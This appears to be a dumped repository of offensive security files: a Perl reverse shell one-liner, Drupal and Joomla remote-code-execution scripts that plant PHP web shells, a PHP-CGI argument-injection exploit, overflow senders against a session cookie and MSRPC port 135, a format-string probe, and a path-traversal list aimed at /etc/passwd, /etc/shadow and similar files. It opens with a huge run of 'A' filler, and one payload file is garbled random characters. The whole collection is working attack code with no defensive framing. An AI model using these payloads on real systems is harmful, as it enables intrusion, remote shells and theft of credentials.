AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


--------------------------------------------------------------------------------
/drupal_exec.sh:
--------------------------------------------------------------------------------
1 | perl -e 'use Socket;$i="TARGET_IP";$p=PORT;socket(S,PFINET,SOCKSTREAM,getprotobyname("tcp"));if(connect(S,sockaddrin($p,inetaton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
2 | 


--------------------------------------------------------------------------------
/drupal_rce.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl
 2 |  
 3 | use LWP::UserAgent;
 4 |  
 5 | $target = "http://target.com/admin";
 6 | $payload = "?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id";
 7 |  
 8 | $ua = LWP::UserAgent->new;
 9 | $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
10 |  
11 | $response = $ua->get($target.$payload);
12 |  
13 | if ($response->is_success) {
14 |     print $response->decoded_content;
15 | } else {
16 |     print $response->status_line;
17 | }
18 | 


--------------------------------------------------------------------------------
/execve_code.c:
--------------------------------------------------------------------------------
 1 | #include <stdio.h>
 2 | #include <stdlib.h>
 3 | #include <unistd.h>
 4 | 
 5 | int main(int argc, char *argv[])
 6 | {
 7 |     char *args[] = {"/bin/sh", "-c", "id", NULL};
 8 |     execve(args[0], args, NULL);
 9 |     return 0;
10 | }
11 | 


--------------------------------------------------------------------------------
/exploit_mod_session.c:
--------------------------------------------------------------------------------
 1 | #include <stdio.h>
 2 | #include <string.h>
 3 | #include <stdlib.h>
 4 | #include <unistd.h>
 5 | #include <sys/socket.h>
 6 | #include <netinet/in.h>
 7 | 
 8 | int main(int argc, char * argv[]) {
 9 |   int sockfd;
10 |   struct sockaddr_in server_addr;
11 | 
12 |   if (argc != 3) {
13 |     printf("Usage: %s [IP] [PORT]\n", argv[0]);
14 |     exit(1);
15 |   }
16 |   // Create socket and connect to server 
17 |   sockfd = socket(AF_INET, SOCK_STREAM, 0);
18 |   memset( & server_addr, 0, sizeof(server_addr)); 
19 |   server_addr.sin_family = AF_INET; 
20 |   server_addr.sin_port = htons(atoi(argv[2])); 
21 |   inet_pton(AF_INET, argv[1], & server_addr.sin_addr); 
22 |   connect(sockfd, (struct sockaddr * ) & server_addr, sizeof(server_addr)); 
23 |   char request[] = "GET / HTTP/1.1\r\nHost: localhost\r\nCookie: SESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nConnection: close\r\nContent-Length: 0\r\n\r\n"; 
24 |   send(sockfd, request, strlen(request), 0); 
25 |   close(sockfd); 
26 |   return 0;
27 | }


--------------------------------------------------------------------------------
/fastcgi_rce.py:
--------------------------------------------------------------------------------
 1 | import requests
 2 | 
 3 | target = "http://localhost:8088/cgi-bin/webui/admin/tools/app_ping/diag_ping/"
 4 | headers = {
 5 |     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
 6 | }
 7 | payload = "?-d+allow_url_include=on+-d+auto_prepend_file=php://input"
 8 | data = "<?php system($_GET['cmd']); ?>"
 9 | url = target + payload
10 | r = requests.post(url, data=data, headers=headers)
11 | if r.status_code == 200:
12 |     print("Successfully Exec Command")
13 | 


--------------------------------------------------------------------------------
/fs.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | binary="/usr/bin/grep" 
3 | vulninput="%x.%x.%x.%x.%x.%x"
4 | 
5 |  gdb -q $binary << EOF 
6 | run <<< "$vulninput"
7 | EOF
8 | 


--------------------------------------------------------------------------------
/joomla_rce.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl
 2 | 
 3 | use LWP::UserAgent;
 4 | 
 5 | my $target = "http://www.example.com/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload";
 6 | 
 7 | my $ua = LWP::UserAgent->new;
 8 | $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)");
 9 | 
10 | my $exploit = $target . "&file[0]=shell.php&file[1]='<?php system($_GET['cmd']); ?>'";
11 | 
12 | my $response = $ua->get($exploit);
13 | if ($response->is_success){
14 |     print "Exploit sent successfully\n";
15 | }
16 | else {
17 |     print "Exploit failed\n";
18 | }


--------------------------------------------------------------------------------
/kitty_fuzz.py:
--------------------------------------------------------------------------------
 1 | from kitty.model import *
 2 | from kitty.interfaces.web import WebInterface
 3 | 
 4 | sess = Session(
 5 |     web_interface=WebInterface(host='127.0.0.1', port=8080),
 6 |     fuzz_data_collector=DataCollector()
 7 | )
 8 | 
 9 | target = Target(name='Fuzzing Target', process='httpd', session=sess)
10 | model = BufferOverflow(name='Buffer Overflow', target=target, size=1024)
11 | 
12 | sess.connect(sess.web_interface)
13 | sess.fuzz(model) 


--------------------------------------------------------------------------------
/mini_ecex.py:
--------------------------------------------------------------------------------
1 | import os
2 | 
3 | target_host = "127.0.0.1"
4 | cmd = "ping -c 4 " + target_host
5 | os.system(cmd)
6 | 


--------------------------------------------------------------------------------
/msrpc_fuzz.c:
--------------------------------------------------------------------------------
 1 | #include <stdio.h>
 2 | #include <string.h>
 3 | #include <stdlib.h>
 4 | #include <sys/socket.h>
 5 | #include <netinet/in.h>
 6 | #include <arpa/inet.h>
 7 |  
 8 | int main(int argc, char *argv[]) {
 9 | 
10 |     int sockfd;
11 |     struct sockaddr_in target;
12 | 
13 |     if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
14 |         perror("socket");
15 |         exit(1);
16 |     }
17 |     
18 |     memset(&target, 0, sizeof(target));
19 |     target.sin_family = AF_INET;
20 |     if (inet_aton(argv[1], &target.sin_addr) == 0) { 
21 |         perror("inet_aton");
22 |         exit(1);
23 |     }
24 | 
25 |     target.sin_port = htons(135);
26 |      if (connect(sockfd, (struct sockaddr *)&target, sizeof(target)) == -1) {  
27 |          perror("connect");  
28 |          exit(1);  
29 | 
30 |      }  
31 | 
32 |      printf("Connected to %s\n", inet_ntoa(target.sin_addr)); 
33 |      char buf[1024];  
34 |      memset(&buf, 'A', 1024); 
35 |      send(sockfd, buf, 1024, 0);  
36 |      close(sockfd);
37 |      return 0;  
38 |  }


--------------------------------------------------------------------------------
/payload.txt:
--------------------------------------------------------------------------------
1 | /%#                                (#/                       #,                         (                                 ,                     %                         ,                      %%&/(&%                      /%,~~(..,,,,,,./.(/(/(..................................//.../.....)))))))))))))))/......))))).))))###///////////////:::::-...//++++++++////")),,,,,,,,,,,,,,,,,,,,-.-..-.%%%%%%%%%%HJKLKLIKHHIOOOOOOOOFFFFEEEE$.%%%%%%%%%%%%%%HHHHHHHHHKKJJKKLKSSSOOOOOORRRRQQQQQQWWWXXXXLLLLLLInnnnniiiiiyooooooooFFFf3DCACCDDDpmwlammlOOOMM@@@@UUVVVVXXZZzzxZXZZBBBB@TTTTTTT@@WJJAASSjjSAASsASswwwwXXXrrrrrfffFFFGGGGgggGIIIIAAzzZYYY###############$$$UUUUTTTT>>><<<>>><<<>>>>iilllLLLLfffff$$$$ppPPPP;;;;;;;66877766666666666666666666666666666666666666666666666666666665444444444444445555555555666PPPPP\\\\\\\\\\](()^^^^^^^^^))2222222244444444333333333333344555555999999988888999999uuuuuuuuuuuuuuuuu[[[[[[EEEEEEE00000AAAAAAAAaanndndndnndnnnnccccccxxxxxxxoooobbbbb%%PPPXXXXXYZTTTTaaaaabbbvvkkkeeeeettrrr???????????????………………………………………………………………………………………………………..................–––––―—–—¯¯¯¯.--.—.-.–.--.—.--.–.--.–…-.————®©¥§¶¥©€™•¡¬😊¢@£{}"😊£tØâßßßØû„‰Â^êÉ Fo¨–—| |طظΩ∆Σƒ∂đΠœäçñ\ıō•?'îøùóôœúœæðéáüôåï)*㉔=>°º╲●○◆❃ ◈ ⁂ 🐰 🐋 🎎 ♠️ ♣️ ♥️ ❤️ ❀ ⚑ ☼𝕊𝕖𝕧𝕖𝕟 •♪♫♬🌏☁️⛅️🍃 ©´❤️☀️✈️〰️▓█░▐░███████░░███░░▐░▌ ░י■𐌀𐌗𐌏𐌔𐌉𐌗u})})[[]:hiuhvucoueufue8732456789987655633333ggghhhhhhhhhhhhhhhhhhhjjjfjjgdfhjklsdkflskdjfkljsdlfksedlisolskldksodfloieidjonpwoecdizeissoonweiwewoi;2kka;kquapiq2wiq5wr46er48erpeifncodneiwme0e9lslpiscokpdkeiledkenomdxcpodcipcd
2 | 


--------------------------------------------------------------------------------
/payloads_sample.txt:
--------------------------------------------------------------------------------
  1 | ../../../../etc/passwd
  2 | ../../../../etc/shadow
  3 | ../../../../etc/hosts
  4 | ../../../../*.conf
  5 | ../../../*.conf
  6 | ../../*.conf
  7 | ./*.conf
  8 | /var/log/*.*
  9 | /var/logs/*.*
 10 | /var/www/*.*
 11 | /var/www/**/*.* 
 12 | /usr/local/**/*.* 
 13 | /usr/.htaccess 
 14 | /usr/.htpasswd 
 15 | /usr/.htgroup 
 16 | /*~*~*~*~*~*~*/** 
 17 | /*~*~*~*/** 
 18 | /*~*/** 
 19 | /*~~*/** 
 20 | /*~~*/**/**
 21 | %0A
 22 | %00
 23 | //etc//passwd 
 24 | //etc//shadow 
 25 | //etc//hosts 
 26 | //bin//sh 
 27 | //bin//bash 
 28 | %00*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*
 29 | ../../../../etc/passwd
 30 | ../../../../etc/shadow
 31 | ../../../../boot.ini 
 32 | ../../../windows/win.ini 
 33 | ../../../windows/system32/cmd.exe 
 34 | ../../../*.*
 35 | %2Fetc%2Fpasswd
 36 | %2Fetc%2Fshadow
 37 | %25%30%41
 38 | %252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
 39 | %252e%252e%252f%252e%252e%252fetc/shadow
 40 | /cgi-bin/test-cgi 
 41 | /cgi-bin/id 
 42 | /cgi-bin/* 
 43 | /cgi-bin/*.* 
 44 | /cgi-bin/*?* 
 45 | /cgi-bin/*&* 
 46 | /cgi-bin/*=* 
 47 | /*~* 
 48 | /*$* 
 49 | /*!* 
 50 | /*#*
 51 | /cgi-bin/
 52 | /phpmyadmin/
 53 | /admin/
 54 | /login/
 55 | /config/
 56 | /mysql/
 57 | /wp-admin/
 58 | /webdav/
 59 | /server-status/
 60 | /scripts/
 61 | /*~1*/.asp 
 62 | /*~1*/.aspx 
 63 | /*~1*/.cfm 
 64 | /*~1*/.cgi 
 65 | /*~1*/.pl 
 66 | /*~1*/admin.* 
 67 | /*~1*/login.* 
 68 | /*~1*/logon.* 
 69 | /*~1*/manager.* 
 70 | /*~1*/secret.*
 71 | /cgi-sys/
 72 | /cgi-exe/
 73 | /cgi-perl/
 74 | /cgi-shl/
 75 | /scripts/
 76 | /scripts/admin/
 77 | /scripts/root/
 78 | /scripts/user/
 79 | /*~root/*~user/*~admin/*~bin/*~sys/*~perl/*~shl* 
 80 | /*.*.*.*.*.*.*.* 
 81 | /*..*..*..*..*..* 
 82 | /*...*...*...*...* 
 83 | /*....*....*....* 
 84 | /*.....*/.....*/ 
 85 | /*......*/......*/ 
 86 | /*.......*/.......*/ 
 87 | %2e%2e%2f%2e%2e%2f 
 88 | %252e%252e%252f%252e%252e%252f 
 89 | %c0%ae%c0%ae%c0%af
 90 | ..%2f..%2f..%2f..%2fetc%2fpasswd
 91 | ..%2f..%2f..%2f..%2fetc%2fshadow
 92 | ..%252F..%252F..%252F..%252Fetc%252Fpasswd 
 93 | ..//../../../etc/passwd 
 94 | /cgi-bin/*?*=*&*=*&*=*&*=*&*=*&*=*&*=*&**/*?**/*?**/*?**/*?**/*?**/*?**/*?**/*?**/*?**/*?**/*?**/*?
 95 | /cgi-bin/php
 96 | /cgi-bin/php5
 97 | /cgi-bin/perl
 98 | /cgi-bin/python
 99 | /cgi-bin/bash
100 | /cgi-bin/sh
101 | /cgi-bin/cmd
102 | /scripts/*.* 
103 | /*~*.* 
104 | /*~* 
105 | /*.*~* 
106 | /*.*~ 
107 | /*.*/* 
108 | /*.*/*~* 
109 | /*.*/*~ 
110 | */*.*/* 
111 | */*.*/*~* 
112 | */*.*/*~ 
113 | *;*/;*/;*/;*/;*/;*/;*/;*/;*/;*/;*
114 | /proc/self/environ
115 | %0a%0d%0a%0d%0a
